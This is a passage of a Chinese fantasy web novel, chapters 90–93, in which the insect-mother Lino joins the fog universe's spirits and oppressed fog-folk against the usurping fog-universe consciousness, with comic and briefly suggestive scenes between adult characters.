一想到这，祂又开始暴乱上下起跳，顶穿迷雾的屋顶，又凿穿迷雾构成的地面，掉到宇宙的深渊。 奋力爬上来，雾气组成的光团无比气愤地怪叫，该死的雾宇宙，祂都掉进去了宇宙深渊，雾宇宙都不听祂的话，把他送出来，还得祂一点点往上爬，不就是因为祂只算是半个宇宙意识吗！ 给祂等着！吞噬足够的意识，祂一定会成为真正的宇宙意识！ 雾宇宙意识恶狠狠地，带着警告和宣泄的情绪，狠狠一脚踩在宇宙形成的雾云上。 一脚踩空，祂再次从星球幸运陨石和雾缭绕的空间内，陷入宇宙的深渊。 祂气得吱呀乱叫。 宫殿附近的接引傀只是揉揉耳朵，对着身边的同伴吐槽：“祂又在发什么疯？” 另外一只接引傀嘘道：“小声点，别被他听到。” “放心，祂听不到。”接引傀冷哼，“祂肯定是又掉进深渊了，在爬出来前祂才没功夫偷听我们说话！” “也是……深渊可不是窃权者能够操控的。” 深渊是雾宇宙的另一半，也是一种概念，里面什么都没有，与雾气组成的万千星辰对立，寂静无声。 祂不过是半个宇宙意识，一旦不小心掉进深渊，就得慢慢地爬上来。 完整的宇宙意识，可不会有掉进深渊这种可能。 接引傀叹气：“不知道老大那里怎么样了？” “希望一切顺利。”同伴合掌祈祷，“愿那位大人可以与我们合作。” 雾门种植农场上，利诺揉够了小精灵的爱心，淡定优雅地收回手：“你们的计划什么？” 接引傀摇晃了下头顶的爱心，严肃道：“宇宙意识不会轻易死亡，但可以削弱。而您的种族是天生克制迷雾的强大存在，尤其是您。” 欢乐精灵看向利诺的眼神就像是在看救世主：“我不知道具体原因是什么，但您本身就可以削弱祂。” “您没有发现吗？但凡您进入的雾门，内里都发生了不一样的变化。” 利诺：“嗯……确实和我在课本上学到的不一样？” 他疑惑：“我以为是我的那些哥姐们做的，他们把自己变成了神门，让我来通过关门获取他们的力量……” 只是利诺下意识抵触，如果顺着那些死去神明的指引，就好像在吃他这些名义上的血亲。 “不，它们本质上还是雾门，只是寄存着那些死去神明的意识还残存的力量。”接引傀直到现在还是异宇宙意识信任的属下，他知道很多，娓娓道来，“雾门一旦长成就是彻底定型，就连祂都无法改变。” “雾门之所以发生改变，是因为您的存在。雾门是祂的部分力量显化，在察觉到您的存在后才自己进行变化，为的就是把您彻底杀死。雾门在害怕您，所以想不计一切代价，杀死您。” 利诺摸摸下巴，若有所思。 接引傀道：“起初我们也不敢相信，但我们欢乐精灵在摆脱祂的控制后，一直在观察您，所以我很确定，您只要存在就可以削弱祂！” 祂乞求道：“我们把您偷偷带回来，也是想让您出现在祂的附近，祂的力量会削弱，届时所有欢乐精灵一起就有了可以对抗祂的力量，即使无法杀死祂，也可以将祂囚禁！” 原来的宇宙意识虽然不会孕育子嗣，但这些最接近宇宙意识的欢乐精灵，本质上就是宇宙意识的子嗣，他们根本不会弱小。 “不行！”伊戈提安冷下脸，“我不会让冕下陷入危险的境地！” “不不不！”接引傀连连摇头，“大人只要待在祂的附近，根本不用出手，我们保证大人不会受伤。但凡我们没能成功，大人会第一时间回到您的宇宙！” 两只虫族往前迈了一步，挡在利诺和接引傀的中间，这是完全不信任接引傀的表现。 接引傀头顶的小爱心都耷拉下来，可怜巴巴地望向利诺，那点希望的火苗仿佛即将被扑灭。 倒是利诺，对比雄虫的体型显得小小一只，坐在马扎上，想了想，然后缓缓摇头。 失败了……还是失败了……接引傀整个身躯缩成一团，失落地说：“好吧……那我、我带您回您的宇宙。” “我不是这个意思。”利诺的声音干脆悦耳，接引傀茫然地眨着散发雾气的眼。 之间对面的漂亮青年扬起嘴角，笑容邪恶：“我在战场上从不当吉祥物。” 接引傀还是不懂利诺的意思。 利诺哎呀了一声，翘着脚，扬起拳：“我跟你们一起打祂！” 顿了顿又补充：“也不止我，我们应该动员一切可以动员的力量。” 他郑重其事地举手：“打倒卑劣的窃取者和侵略者，人人有责！虫虫也有责！所有被压迫的生命都有责任！” 接引傀还没有从这巨大的惊喜中回过神来：“真、真的吗？谢谢您！” 雾气凝结的眼泪扑簌簌往外飞，激动的小精灵张开怀抱，就要拥抱利诺。 利诺也站起来，越过身前的两只虫，与接引傀拥抱在一起。 伊戈提安要把牙咬碎了，他也想和冕下拥抱啊！ 洛尔南在一旁冷言冷语：“伊戈提安阁下，好心提醒您，嫉妒不可取。” 伊戈提安飞白眼：“我也提醒你一句，不要得意过了头，你只是一只没有经验的青涩虫。” 洛尔南成熟了很多，这个成熟不止是外表，还有原先莽撞别扭的性子也稳重许多。 他轻笑，夹杂浓烈情绪的视线放在了利诺身上：“可是，冕下就喜欢我这种年轻的。” 学会耍心眼的洛尔南意气风发，轻飘飘地嘲讽伊戈提安：“阁下，您已经老了。” 老了老了老了老了……伊戈提安感觉自己的心脏被扎了个透心凉。 捂胸，伊戈提安瞳孔放大，杀气腾腾。 此虫，断不可留！ “大人，您的两位属下……”好像要打起来了？接引傀询问利诺。 利诺则挥挥手：“不碍事，争宠的日常操作。”到时候他一手一个巴掌，在一脸一个啵啵，这场争端聚就可以化解了。 已经习惯了雄虫们各种或明面或私下的“争宠”，利诺不以为意，而是说起另外一件事：“我昨天遇到了一个雾种，他说他曾经是骑士长。” 利诺大概说了下，总的意思是，你们宇宙里，不止你们这些欢乐小精灵，就连种植雾门的农民都想反。 “……我记得。”接引傀低下头，愧疚道，“他的妻子是神侍，他和他妻子的孩子因为没有精神力，在祂完全吞噬神后……被祂杀死了……” “后来，他的妻子和其他几名神侍发觉了雾门的秘密，通过书籍告知其他农民，被祂发现。” 接引傀张开自己的手，苦笑：“那个时候我没有摆脱祂的控制，祂命令我，杀了他们。他肯定很恨我！” “你放心，我之后会和他说明情况。”至于那名前骑士长会不会原谅接引傀，则不是利诺需要操心的问题。 说到底，这一切都是异宇宙意识干的坏事。 异宇宙意识，必死不可！ 见接引傀道情绪低落，利诺体贴地转移话题：“你们什么时候杀祂？” 接引傀怨恨的声音响起：“在一周后，也就是向他上交雾门的时间！” 接引傀的回答让利诺想起来自己种下的雾门，他带着兴致不高的接引傀来到农田上。 利诺指着那根奇怪的绿苗：“差点忘了说，我种植的雾门不太对劲。” 接引傀直愣愣地看向类似虫树的植物，然后“噗通”一声，他跪了下去。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-93 第91章 利诺被吓了一跳，又被接引傀膝盖叩击地面的声音弄得呲牙：“……不用这么激动吧？” 莫非他种出来了什么了不得的东西，以至于接引傀这么异常？ 利诺再次仔细看向树苗除了与自己的微妙感应，它完全是一棵普通的树。 枝叶颤动，温柔亲密的意识在通过与利诺的精神联系打招呼。 接引傀跪行着爬过去，拜服于幼小植物的面前，雾气形成的泪水更快更汹涌地流淌，一半从洋溢在空中，另一半则滴落在雾土上，晕染开来，加深了雾土的颜色。 “这东西是不是犯病了？”伊戈提安挡在利诺面前，皱眉，“冕下小心。” 洛尔南也有这种感觉，赞同地点头。 这两只虫族自利诺拉着接引傀离开后就终止火药味弥漫的敌对状态，没有冕下在场，他们就算打个半死也无法得到冕下的半分怜悯。 他们的心理活动几乎是同步的，既然无法通过斗争来获得来自冕下的偏爱，他们何必还要斗个你死我活。 受伤需要时间恢复，代表他们不能够再待在冕下身边。 更何况，他们的行为也有可能会招致冕下的不高兴，这种一点好处都没有的事情，只有那些傻虫会去做。 这里的傻虫，指的是听信星网谣言，先是把自己头发染绿，又把自己头发染成彩虹色的那批虫。 接引傀边哭，边要亲吻在植物周遭的泥土上。 在未成熟的植物惊恐的摆动中，利诺捂脸对接引傀说：“你吓到他了！” 由雾门种植方法播种长成的植物疯狂地给利诺传递简单的讯号：“救救我！救救我！有变太！有变太！” 激动的接引傀如梦初醒，连忙后退，嗫嚅出一大段模糊的话语，是利诺听不懂的，应该是属于这个宇宙的语言。 不知道说了什么，但在接引傀说完后没多长时间，被吓坏的植物停止摇晃，安静下来。 植物的叶子有规律地抖动，像是进入了睡眠中。 接引傀小心走出农田的范围，没等利诺问，他很激动地小声说：“感谢您，大人！” 利诺：“？” 接引傀明明是只欢乐小精灵，但今天落的泪比起以前哭出的泪水加起来还要多。 他激动地搀扶住疑惑的利诺：“我真的没想到……只打算让您应付一下雾门的种植，但是！您居然种出了我们的神！” “你们的神不是被吃了啊？”利诺再次看了眼和虫树高度相似的缩小版植物。 接引傀也不明白，但这并不影响他的快乐：“也许我们的神还留着一丝的意识，毕竟整个宇宙都是祂的化身。” 他将关键指向利诺：“但您本就有孕育的强悍能力，也许是您的能力和雾的结合，让我们的神能够再次回归！” 接引傀变回真正的欢乐精灵，克制不住地自语：“不行不行，得多来几位同僚一起照顾幼年体的神……得把这个好消息告诉他们……” 欢乐精灵头顶的爱心膨胀起来，如同一根特殊形状的灯管，闪烁着亮光。 他只呼唤了一分钟，就有源源不断的、和接引傀相似的欢乐精灵从各个方向的雾气中飞出来。 “老大，您说的是真的吗？” “还是宝宝的神在哪里？” “神啊，我就知道您没有彻底抛下我们！” 数只欢乐精灵叽叽喳喳，接引傀打了个手势：“小点声，祂还在睡，需要充足的睡眠长身体！” “是的是的，老大，我们会小心的！”欢乐精灵们欢乐地连连点头，用冒着雾泪的眼眶期待又兴奋地凝视还是幼年期的小植物。 一部分小精灵转身离开，再出现的时候手里拿着精致的、类似喷壶的器具。 他们小心翼翼地把器具里的液体撒在植物的根系，像是在给婴幼儿喂奶。 这一过程，利诺也没有被忽视。 重新“孕育”出原来的雾宇宙意识的利诺被剩下的精灵体贴热情地围住。 一只欢乐精灵递过来香甜的异宇宙果实：“大人，您用您的身体诞下神，一定很辛苦吧！这是我们宇宙用来补充产妇营养的。” “还有这个！大人，超级感谢您，你现在肯定很辛苦，多吃点肉！”热情的小精灵拉过一头刚死去的野兽。 又一只小精灵腼腆地捧住盛满白色液体的叶子：“这、这个喝了……通奶……” 利诺：“……” 他现在也很想求救！ 要命！他不需要补充营养！也不需要通劳什子的奶！ 他！没有！奶！ 昨天帮助利诺种下雾门种子的洛尔南把利诺搂到自己的保护圈内，欢乐精灵的行为表现孕育出他们的神似乎是很辛苦的事情。 不知道利诺生蛋完全无痛省事的洛尔南关切地询问：“冕下，您需要什么补充营养？” “我今早又储存了不少蜜液，您可以享用……” 利诺攥住洛尔南蠢蠢欲动的翅膀，对洛尔南也是对围着他关心的接引傀，一字一句地回答：“谢谢，我看不需要任何营养品！” 他不自然地捂住平坦的胸口，耳朵的红十分可口：“这里也不需要！” 欢乐小精灵们头顶的爱心微微摇晃，紧接着，一道纤细的嗓音响起。 其中一只最瘦弱的欢乐精灵捧着用来通奶用的雾水，细声细气：“大人，您不用不好意思，任何孕育新生命的存在都是值得歌颂的！更何况，您孕育的是我们的神，消耗肯定很大！” 半小时后，利诺捧着烤好的野兽大腿啃，肉质紧嫩，被力道恰好的火烤得外酥里嫩。 在烘烤中，欢乐精灵使劲了力气，将毕生所学都用了出来，加上特制的调料、涂上一层金黄的、类似蜂蜜实则是雾宇宙才有的特殊酱料，制作出了超级美味的烤肉。 利诺的味蕾被彻底愉悦，抱着比他脑袋还大的腿，吃得抬不起头。 洛尔南在利诺的身旁，防止脆弱的小虫母因为遇到心爱的食物而吃得太快噎到，时不时帮他扶一下快要掉下来的兽腿。 伊戈提安已经和接引傀商量这种食物的交易了。 他们的小虫母没什么特别的爱好，以至于满心满眼都是冕下的虫族压根使不上劲。 直到去了地球，虫族才发现，原来他们的妈妈喜欢美食！ 既然小虫母喜欢好吃的，那么虫族就会把一切美味的食物奉到虫母的王座下。 伊戈提安简单干脆：“开个价，以后你们定期送来这类肉。” 接引傀愣了下，然后笑道：“不需要开价，大人喜欢吃，我们会直接给！” 他看向沉浸在美食中不可自拔的青年：“大人帮了我们很多……只要一切顺利结束，我相信，不止欢乐精灵，就连神也会无条件为大人送来他最喜欢的。” 要知道，本应该彻底消亡的神，是靠着这位虫族冕下才能再次成长。 接引傀想，他早该知道的，要不是神没有彻底死，窃取了雾宇宙的小偷不至于这么久了还不是完全的宇宙意识。 因为真正的宇宙意识没有彻底死去，所以祂哪怕吞噬再多的宇宙意识，祂都不会成为真正的宇宙意识。 窃贼只会是永远的窃贼，登不得台面。 接引傀的嘴角勾起冷嘲讽弧度，很快消失：“只是得等彻底杀死卑劣小偷后才可以。祂让所有的雾种一刻不停地种植雾门，养殖和种植荒废了很久。” 利诺的牙齿不如普通虫族的锋利，但四颗尖锐的犬牙足以撕扯紧实的肉。 他吃了个饱。 正眯着眼靠在洛尔南身上时，那名瘦弱的欢乐小精灵再次捧着又一份雾水送上来。 他在让利诺通奶这一件事上分外执拗，即使害怕那两只虎视眈眈的雄虫，也克服恐惧，将类似牛奶的雾水送过来。 瘦弱的小精灵可怜地眨眼，头顶比其他欢乐精灵小了一圈的爱心紧张地亮光。 接引傀咽了一口气，对利诺解释：“他是最小的欢乐精灵，但他刚出生、没来及长大，该死的窃取者就抢走宇宙，把遍布的欢乐转变成痛苦。” 他摸了摸瘦小精灵的头：“没有欢乐，他就无法成长，因此脑子也没有机会发育。” 说白了，这只精灵是一个智力低下的傻精灵，靠着同伴们的帮助才没有被祂杀死。 和欢乐小精灵迟钝的目光对接，利诺认命地接过雾水，意思性地抿了一小口。 利诺本打算糊弄下这只小傻子，但没想到雾水还挺好喝。 不爱浪费食物的利诺在接引傀欲言又止的神情下，把清甜的雾水一饮而尽。 傻精灵高兴了，和同伴们一起离开，他们如今不能够长时间待在一处，会被祂发觉。 接引傀是最后一个走的，他留下了两只欢乐精灵守护幼苗。 他情绪复杂，对着利诺说：“大人，雾水……嗯……它的通奶效果非常好！” 利诺不觉得是事：“没关系！”反正他又没有奶可通。 “您……”接引傀到底没有说出什么，他红着脸走了。 伊戈提安拥有追寻的能力，他被利诺派出去，在迷雾中寻找其他的雾种，最好可以找到那只骑士长。 利诺希望雾种和接引傀可以暂时忘掉矛盾，一齐将矛头对准异宇宙意识，再加上虫族的帮助，祂不死也会残！ 半夜，栖息在洛尔南尾钩上的利诺感觉到了不对劲。 他从蝴蝶变回人，低声哼哼着，靠在洛尔南的肩膀上。 “洛尔南，我难受……”利诺喃喃。 洛尔南的第一反应是利诺白天吃得太多，胃不舒服了。 布满茧子的手掌轻轻盖在利诺的胃部：“利诺，这里不舒服？” 利诺摇摇头，扒拉洛尔南的手，放到自己的胸口上。 上翘的眼眸闪着晶莹的水光，夜晚的小虫母似是贪婪的恶魔：“这里不舒服，洛尔南给我揉一揉。” 第92章 咕咚。 喉结滚动，洛尔南咽下一口口水，感觉口干舌燥。 他的目光从利诺因为不适而微微扭曲的漂亮面孔，往下移动。 红梅在纯洁的雪地绽放，在夜色中显得无比艳丽。 洛尔南把手放到脆弱的红梅上，他尽量得温柔，可因为刻苦的训练而留下的茧子还是摩擦过。 他关注利诺的感受：“这样可以吗，冕下？” 并不疼，但也不能够缓解利诺此时的不适，他摇头。 基于寻求缓解的本能，利诺抱住洛尔南的头，将其压在上面。 利诺垂眸，命令：“舔它。” 虫族不会拒绝虫母的命令，炽热的呼吸打在娇弱的红梅上，洛尔南的唇覆上去，忠诚地回复：“遵命，冕下。” …… 伊戈提安在离去的第三天一早赶回来，轻轻敲了敲门。 “伊戈提安，进来。”小虫母的声音很熟悉。 门没有锁，伊戈提安打开门，就看到不止利诺和洛尔南，还有接引傀和那只送雾水给小虫米的傻精灵。 “抱歉，大人，我替他向您表达歉意。”接引傀拉着傻精灵头顶的爱心，极其心虚。 利诺僵着脸：“没、没关系，已经过去了。” “实在对不起，我不知道您对雾水的反应那么激烈！”接引傀小声道，“一般来说，没有堵塞问题的生命喝下雾水，只会觉得稍微有些涨，几分钟就好了……” 但利诺不一样。 雾水的作用折腾得利诺哭唧唧，让洛尔南又吸又揉，但仍旧不管用。 可他又没有奶，就算肿了都没奶。 足足三天过去，雾水的效果不弱反增，利诺抹了把脸，麻木地问：“喊你过来，是问你有没有解决的办法？” 现在的利诺，无比后悔自己看在傻精灵倒霉的份上喝了那雾水，也非常后悔因为雾水甜甜的所以喝光。 治愈能力对此完全无效，外来的帮助也无法缓解，除了让他多被雄虫咬上几口外，一点作用都没有。 傻精灵歪了歪脑袋，用天真憨厚的语气抢先回答：“把奶吸出来就好了。” 话刚说完，他就被接引傀赏了个脑瓜崩。 接引傀打完傻孩子，转头先是给傻精灵找补：“虽然他傻，但这也是个方法。” 利诺只觉得自己身为虫母的脸面都没了，他捂脸，难以启齿。 洛尔南目前是最了解利诺身体的，毕竟他是那只勤劳的、吸揉咂咬都用上了的虫。 他替利诺解释：“冕下没有奶。” 小虫母很甜，但却是没有奶……况且，洛尔南没听说过虫族哪只虫会产奶。 伊戈提安听得不是很明白，只知道是利诺的身体出了问题。 这让他惊慌担心，大踏步往前，焦急询问：“冕下的身体怎么了？” 恐怖的杀气瞬间锁定了接引傀身边的傻精灵，猩红的虫瞳分裂成无数复眼。 傻精灵再傻，也只是个孩子，还是因为发育过程出了问题而始终呆傻的精灵。 其他欢乐精灵对傻精灵这位最小的伙伴充满了同情和怜悯，接引傀不是例外，而且因为他是欢乐精灵老大，对傻精灵要更加照顾。 接引傀挡在傻精灵的身前，硬着头皮解释：“大人，还有其他的方法！” 利诺出声：“伊戈提安，冷静些，我没事。” 伊戈提安抿唇，把扬起的尾钩收起，扭头走到利诺的身边，用担心的目光环视利诺。 利诺被看得不自在，手臂挡在胸前，攥紧了附近的衣料。 伊戈提安立马知道了利诺的哪个部位有了问题。 可饶是他绞尽脑汁，也想不出来利诺只是因为雾水而胸口涨得难受。 这完全在虫族现有的只是盲区。 利诺迫切要解决目前的状况，追问：“什么方法？” 接引傀解释：“在祂给自己搭建的宫殿里，有一处泉水，叫雾泉。雾泉的作用是消除一切负面状态，应该也包括您、您现在的不适。” 只是有一些困难，现任的雾宇宙意识不容许任何生命进入祂的宫殿。 那是祂的地盘，是祂唯一可以当下警惕的领地。 祂惧怕自己会走上之前那个欢乐宇宙意识的老路，因为毫无警惕心而被另外的宇宙意识吞噬。 然而接引傀还没有解释这其中的困难，简陋的木屋突然猛烈晃动。 他们第一时间逃出木屋，发觉脚下的雾土也在摇晃。 不止地面，就连灰蒙蒙的天空也在抖动，四周的雾气在极速消散，似乎受到了什么伤害，阻绝种植雾门的农门相互交流的屏障在消失。 在利诺的视野里，所谓的农场只是一块又一块分好的田地，每一只农夫的农场其实是挨在一起的。 伊戈提安稳定好身形：“冕下，这正是我要对你说的。其实农夫和农夫之间的距离很近，雾是一种特殊的空间遮挡。” 可惜，伊戈提安花费两天才弄清楚的事实，还没来得及告诉利诺，得到冕下欢心，就完全暴露了。 地面的晃动越来越剧烈，而天空仅是剧烈颤动了两下，但随即而来的是分成两半的天。 宛若世界末日。 接引傀大惊失色：“天啊，有东西在入侵雾宇宙！” 这属实是个稀罕事，雾宇宙一直在侵略其他无辜的宇宙，但现在，祂在被反向入侵。 利诺仰头，从裂开的天空上，他看到了熟悉的白色人形。 是每天都会带他兜风玩耍的原宇宙意识。 然而，此时的白色人形没有刻意掩饰气息，整个躯体异常巨大，无害的外形都变得扭曲，黑色在逐渐代替纯白。 这才是宇宙意识汇聚成型时的真正样子，一个原本强大、就算被其他意识吞噬数千年都未曾真正消散的宇宙意识。 祂在嘶吼，在愤怒，在怒骂无耻的雾宇宙意识：“把我的崽崽还回来！” 那是祂仅剩的崽、唯一的崽，最漂亮最可爱的崽！是祂诞育的最后一只崽，祂再也不会生出那么完美的崽了！ 可恶的异宇宙意识，杀死了祂其他的崽还不满足，还要带走祂唯一的崽。 从失去崽崽气息开始，祂在自己的宇宙里寻找了很久，都没有找到后，祂彻底的愤怒和疯狂。 祂的其他崽也是这样，突然就失去了气息，等祂找到时，只剩下化作雾门的尸骨。 祂最后的崽也没了气息，这不就代表，祂没有崽崽了！ 之前，宇宙意识一直蛰伏，就是为了先把崽养大，顺便恢复实力，然后再赶走入侵者。 可仅剩的崽没了，宇宙意识已经没有存在的必要了，祂直接破罐子破摔，反客为主，入侵了雾宇宙意识。 哪怕无法彻底杀死雾宇宙意识，宇宙意识也打算带走一半的雾宇宙，大家一起爆炸消散！ 祂要为祂所有的崽报仇，为祂仅剩的崽报仇！ 至于崽生下的崽……宇宙意识没有那么多弯弯绕绕。 祂的崽是崽，需要爱护，但崽的崽不是祂的崽，祂不需要爱护，崽的崽只是生长在祂体内的小东西，崽才是祂体内的珍宝。 “你疯了吗！”雾宇宙意识被迫从自己栖身的宫殿跑出来，一半雾气一半虚无的身形与宇宙意识对峙。 宇宙意识嘶吼：“还我的崽！” 祂喊着，一巴掌拍在了雾宇宙的身躯上。 雾宇宙堪堪躲开，他大骂：“你真是疯了！杀你崽那么久了，你现在才来让我还？” 宇宙意识更加愤怒：“我只有一个崽了……”他朝雾宇宙挥打的动作越发剧烈，丝毫不顾及祂的宇宙内还有各种种族。 雾宇宙意识要是能直接吞了这满脑子崽的宇宙，早就吞了，可谁让祂现在无法吞噬，只能防御和进攻。 只是雾宇宙意识不擅长使用化形的身体对战，祂更擅长用雾门瓦解其他的宇宙。 要不是雾门侵蚀了多年对面的宇宙意识，雾宇宙可能根本躲不开宇宙意识毫无章法的攻击。 狼狈躲开，雾宇宙意识觉得自己很冤枉：“我没动你最后一个崽，咱们要不坐下来商量下？” 实际上，不是祂不想动，而是雾门根本无法奈何对方的子嗣。 那只小蝴蝶，生来就是克祂的！ 宇宙意识没那么聪明，祂根本不懂谈判是什么，只听到对方谈到了祂的崽。 丧崽的悲痛让宇宙意识更加发狂，祂的身躯张开，将宇宙内的所有生命送出来。 宇宙的意志响彻在本宇宙各个种族、每一只生命的脑海中。 杀！ 就算杀不死，也不能让雾宇宙好过！ “你不要命了！”雾宇宙看到宇宙意识把躯壳内的所有生命放出来，闪过惊恐。 这个举动，代表的是不死不休，对方是来拼命的！ 雾宇宙完全不想和疯子拼命，即使祂不会被打败，但也落不到好。 一边骂是哪个缺德的把疯子的崽给偷走了，一边仓促应战。 雾宇宙意识在每一只雾种的脑海中发下命令，不惜一切代价，去杀死入侵者。 接引傀也被下发了命令，他告知利诺：“祂让我们应战！” 欢乐精灵的计划全部被打乱，接引傀一时间陷入了迷茫。 直到利诺将他摇醒。 青年的眉眼坚定：“这是个好机会，我们一起，和我妈、和我宇宙的所有种族，一起杀死窃取者！” “可是、可是我们定好的时间是大后天上交雾门……” “去它的计划和时间！”利诺则是果断地道，嘴角勾起决然的笑，“听我的，这就是最好的时间！” 青年的漂亮染上了其他的色彩，不仅没有失去颜色，反而越发耀眼夺目。 他的话很简短，甚至没有分析，但征服了接引傀，安抚下接引傀的情绪。 接引傀捏拳：“好，我们一起！” “也加上我们！”断掉一只手臂的雾种不知道什么时候走了过来，他的身后是许许多多被压迫的、因为长期种植雾门而身体残缺的雾种。 第93章 “……骑士长……我……”接引傀见到熟悉却愧疚的雾种，张嘴，却不知道说什么。 “先不说别的。”雾种举手制止，饱经风霜的面孔似乎被赋予了一点生机，让他绝望灰暗的未来多了一丝光彩。 雾种对利诺行了一礼：“感谢大人的帮助。” 他看了一眼利诺身边的伊戈提安，解释：“您的下属告知了我一切，原来神……神已经……” 雾种闭了闭眼，再睁眼时情绪炽烈得宛若要喷发：“我也已联系上所有我可以团结的雾种，是时候把窃贼杀死了！” 被曾经的骑士长纠集在一起的，有他曾经的同事，也有普通的雾种。 每个雾种过往的经历不一，但全是被压迫到不能活的地步，骑士长稍微动员，他们就响应了骑士长的号召。 这些被时间残留下来、亲眷朋友几乎不再的雾种连死都很难死，因为雾宇宙意识不准许他们自杀，而被种植的雾门吞噬不会死亡，反而会变成更加凶恶的侵略者。 他们的痛苦和怨恨，积攒起来，可以创造一个新的宇宙。 骑士长举起他保存起来的长剑，久违地朝天亮起未曾生锈的剑刃：“为神复仇！为家眷朋友复仇！” 身后状态都不怎么好的雾种同样举起自己的武器，低沉但愤怒地呼喊：“复仇！复仇！复仇！” 与此同时，接引傀将所有的欢乐小精灵集结在了一起，出于私心，他将傻精灵留在了树前。 接引傀吩咐：“你要好好守护神。” “我知道了。”傻精灵认真地点头。 骑士长离开前，向他误会了很多年的神俯首致歉。 他们的神一直没变，一切都是窃取者的错！ 利诺几天前种下的种子，此时郁郁葱葱，长成一棵苍翠的小树，树顶挂着一个小小的心型果实。 那是机缘巧合下，雾宇宙前意识最后一点力量被来自另一个宇宙的生物汇聚并种下。 很巧的是，另一个宇宙的生物充满了年轻的生育力量、丰富的生命气息，是以生命璀璨而强大的宇宙之子。 在种种不可能下，雾种们奉若神明的雾宇宙意识开始复苏，祂汲取一切雾的力量，只要再给祂几天，成熟的祂会回归，然后对吞噬自己、迫害子民的卑劣者复仇。 可惜出了意外，计划赶不上变化。 只有利诺可以听懂小爱心的迫切，利诺张开翅膀，像母亲对待孩子那般，摸了摸小爱心的边缘，安抚好后转头。 虫母磅礴的精神力覆盖整个苍穹，归功于宇宙意识将本宇宙所有的生物全都投放进雾宇宙内，利诺现在可以联系上所有的虫族。 雾宇宙不像原宇宙那样，由众多的星球、星云等组成，反而只有简单的天空和大地。 雾空与星际一样望不到边，雾土也如星际一般浩瀚无垠。这是雾世界的独特。 赫弥珞从天际飞下，收起虫翅，落在雾土上，环视四周。 希尔维乌斯、安瑟姆、拉斐尔和其他军长以及利诺的第一批子嗣跟随在其身后，警惕周围。 在他们的后面，还有其他星球军长以及总共两千多万的虫族。 虫族训练有素，是天生的士兵，即使是那些同样被宇宙意识送出来、非前线的虫族也保持了有序的队列，与虫兵一起，等待虫母和元帅的命令。 由于虫树枝条的努力，虫族的数量扩张很快，但时间有限，也只从两千万到如今的两千三百多万。 跟其他的种族、尤其是人类而言，数量不算多，但他们站在一起的气势远比其他种族。 宇宙内的其他种族一时间被送到雾宇宙，还被某种奇妙无法抵抗的声音在脑海中命令杀，他们是发懵的。 但来自宇宙的意志，让他们无法惊慌失措，或者说，内心恐惧茫然，但肢体也要履行宇宙意识的命令。 看了眼部分已经分散搜寻敌人的异族，希尔维乌斯询问赫弥珞的意见：“元帅阁下，那道声音在催促我去杀死这个宇宙的一切生灵。” 拉斐尔推了推眼镜，耸肩指向远方：“很显然，两个宇宙意识打起来了，我们是宇宙的士兵。我不愿意为宇宙意识战斗，我只会效忠冕下！” 他的话冷漠，却是所有虫族的心里话，什么宇宙意识，压根比不上他们的小蝴蝶！他们干什么要听宇宙意识的话？ 安瑟姆身为贴身侍卫，对宇宙意识的了解比其他虫要多：“准确来说，宇宙意识是孕育了冕下的存在。” 拉斐尔无所谓地说：“那有什么？归根结底，冕下孕育了我们。” 隔辈亲？笑话，虫族内甚至不是隔辈的都不亲！虫族只认虫母，只认名为利诺的蝴蝶！ 赫弥珞蹙眉，他赞同拉斐尔的意思，虫族又和宇宙意识不熟，而且他们对利诺刻入骨髓的忠诚足以让他们抵抗宇宙的命令。 他说：“冕下才是最要紧的……” 话说了一半，所有的虫族听到了他们小虫母的声音，温柔的，悦耳的…… 他们那进入雾门后的小虫母居然也出现在了这里！本还冷漠站立、等待命令的虫族队列乱了一刹。 一些虫族撩起自己七彩颜色的头发，激动地搜寻冕下的踪迹，想让冕下在第一时间看到他喜欢的头发颜色！ 利诺在虫族的意识海下达命令：“现在，到我们反击的时间了！与我们宇宙打斗的灰雾人影是迷雾的制造者，是我们与之战斗三千年的幕后主使！” “我已决定，和雾宇宙的欢乐精灵以及雾种联手，一起击败雾宇宙的意识！” 利诺都不用解释，只需要传达他要做的事情，他的虫族会知道谁是敌人，谁是合作者。 只是……利诺在飞着去找宇宙意识的时候，往下一瞥，却看到他的虫群是五颜六色的…… 等等，怎么一大半虫族的头发是彩虹色的？虫族什么时候流行这么夸张的发色了？ 虫群不知道他们敬爱的冕下在怀疑虫族的审美，接受冕下的命令，冰冷的竖瞳齐齐盯住上方的半灰雾身影。 战意和杀气汹涌。 雾宇宙意识被迫应付宇宙意识的挥打，不经意一扫，就看到那些可恶的虫子。 祂打了个冷颤，虫族以及他们的虫母，简直是没有道理存在的种族，轻易关上一扇又一扇的雾门。 有时候，农夫种植雾门的速度都比不上虫族驱散迷雾的速度，而且……雾对他们的影响也几乎没有…… 可以说，雾宇宙意识对这群虫子是有些害怕的。 “啊！”晃了一下神，雾宇宙意识的脸被对面发疯的宇宙意识打散了一团。 雾宇宙意识只能不断催促接引傀和雾种：“废物！都是一群废物！” 祂在欢乐精灵和雾种的脑海里气急败坏：“对方都打上门了！怎么还不过来保护你们的神！” 都是一群没用的废物！祂心想，等祂彻底掌控雾宇宙，祂就把这些原宇宙的生灵全都销毁，然后制造出只忠于自己的生灵！ “妈！我的亲妈！”失去理智的宇宙意识正在爆打雾宇宙，突然听到崽崽的呼唤。 祂崽崽在喊祂妈！ 宇宙意识的理智瞬间被拉回，张开怀抱把飞来的小蝴蝶拥入怀抱，那在地球上学过的各色方言又杂糅起来：“嗯呐！俺滴崽！想死俺了！” “我很好，你别激动！”利诺很感动宇宙意识来找自己，此时像是寻到花蜜的蝴蝶，绕着宇宙意识上下飞舞，快活又可爱，努力缓解宇宙意识的情绪。 好在宇宙意识没有多少智力，除了崽还是崽，此时宝贝地抱着利诺，不愿意撒手，一遍又一遍地喊着崽崽。 雾宇宙意识呵呵笑了两声：“你的崽也找到了……可以回去了吧？” 祂不愿意正面与宇宙浴室对打，即使可以打赢，祂也会受伤。 没关系，等这傻宇宙离开，祂就让雾种们去种更多的雾门，迟早把对方耗死！ 雾宇宙意识咬牙切齿地想。 “我不走！”利诺坐在宇宙意识的大手上，扬起下巴，睥睨雾宇宙意识。 雾宇宙不敢对另一个宇宙发脾气，难道一个小小的宇宙生命还不敢吗？ 祂狠狠地瞪向利诺，凶狠狡诈一览无遗。 利诺捂住嘴，朝宇宙意识撒娇：“妈！祂吓唬我！好可怕！” 护崽的宇宙意识立马一巴掌甩过去，雾宇宙的脸再次被打散一团。 雾宇宙意识阴沉地警告：“你不要得寸进尺！你别忘了你的一多半都被我吃了！” 